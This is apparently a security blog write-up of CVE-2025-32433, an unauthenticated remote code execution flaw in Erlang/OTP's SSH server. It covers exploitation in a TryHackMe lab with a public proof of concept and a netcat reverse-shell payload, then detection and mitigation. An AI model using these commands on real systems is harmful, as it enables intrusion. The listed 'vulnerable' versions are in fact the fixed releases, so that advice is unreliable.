When people think of Erlang, they think of uptime, a language built for resilience, powering telecom systems, distributed databases, and scalable messaging platforms. But with CVE-2025-32433, we’re seeing what happens when the very features that make a system robust become its Achilles' heel.
This vulnerability is a serious unauthenticated remote code execution (RCE) issue in the SSH implementation of Erlang/OTP. With a perfect 10.0 CVSS score, this bug allows remote attackers to execute code without credentials or user interaction. It affects a broad range of systems, especially those built on high-availability Erlang infrastructure.
Let’s break it all down, not just how to exploit it, but how it works under the hood, what detection looks like, and how you can stay protected.
What Makes CVE-2025-32433 So Dangerous?
CVE-2025-32433 targets Erlang/OTP’s SSH daemon, which mishandles the SSH protocol's message structure during the pre-authentication phase. According to SSH standards, messages with identifiers >= 80 are meant to be sent after authentication. However, in this implementation, that restriction wasn’t enforced.
This means an attacker can send malicious messages before any login occurs, and get code execution if crafted properly.
In essence, this opens the door wide to anyone with network access to the SSH port.
Exploiting the Vulnerability – From Theory to Practice
To demonstrate the impact of this flaw, we used a TryHackMe environment set up to mimic a vulnerable Erlang/OTP deployment. This isn’t about solving a room. It’s about analyzing how this exploit behaves in a real network.
Step-by-Step Exploitation
- Clone the public PoC:
bash git clone https://github.com/ProDefense/CVE-2025-32433 cd CVE-2025-32433 - Edit the target IP:
ModifyCVE-2025-32433.pywith your target machine’s IP:python HOST = "MACHINE_IP" PORT = 22 - Understand the payload:
The exploit runs a basic command to create a file on the target system:python file:write_file("/lab.txt", <<"pwned">>). - Launch the attack:
bash python3 CVE-2025-32433.py
If the server is vulnerable, you’ll get confirmation, and the file will be created, all without logging in.
Going Further: Proof of Full Command Execution
To validate the exploit more deeply, we modified the payload to exfiltrate data via netcat:
os:cmd("nc {{ip}} 4444 -e /bin/bash").
With a listener running on the attacker machine:
nc -lvp 4444
We confirmed that arbitrary command execution was achieved, with output delivered directly to us.
Detection Techniques
Network-Based Indicators
Because this exploit abuses pre-auth SSH messages, it often evades traditional server-side logs. But at the network layer, you can still spot it:
- Look for
SSH_MSG_CHANNEL_REQUESTbefore authentication - Payloads that invoke suspicious Erlang commands like
file:write_file,os:cmd, etc.
Packet inspection tools such as Wireshark and IDS platforms like Suricata or FortiGate IPS can help here. Expect to find the payload in cleartext.
Host-Based Indicators
Once on the system, here’s what you can look for:
- Unusual files like
/lab.txtor/tmp/*written recently - Processes chained from SSH → shell → outbound connections
- Commands executed through
os:cmdor unexpected usage ofnetcat,wget, etc. - Audit logs showing shell spawns or file system writes from SSHD
Don’t forget to inspect cron jobs, systemd timers, and newly added persistence mechanisms.
Mitigation and Remediation
Patch immediately if your system is running one of the following vulnerable OTP versions:
- OTP-27.3.3
- OTP-26.2.5.11
- OTP-25.3.2.20
If patching isn’t possible, consider the following short-term mitigations:
- Disable SSH on Erlang/OTP services temporarily
- Restrict port 22 access using firewalls
- Segment internal networks and isolate exposed Erlang hosts
What Makes This CVE Unique
This isn’t a bug that needs advanced privilege chaining. There’s no brute force. No bypass.
It’s a clean, pre-auth RCE via a single malformed message, against a component that underpins fault-tolerant, real-time systems. That’s what makes it dangerous.
Final Thoughts
Whether you're red team or blue team, CVE-2025-32433 should be on your radar:
- It’s exploitable without auth
- It affects a widely used platform
- And it’s incredibly easy to detect and execute with minimal code
If you’re securing modern infrastructure, don’t overlook lesser-known stacks like Erlang. This CVE is a perfect reminder that even the most “mature” systems can hide critical flaws.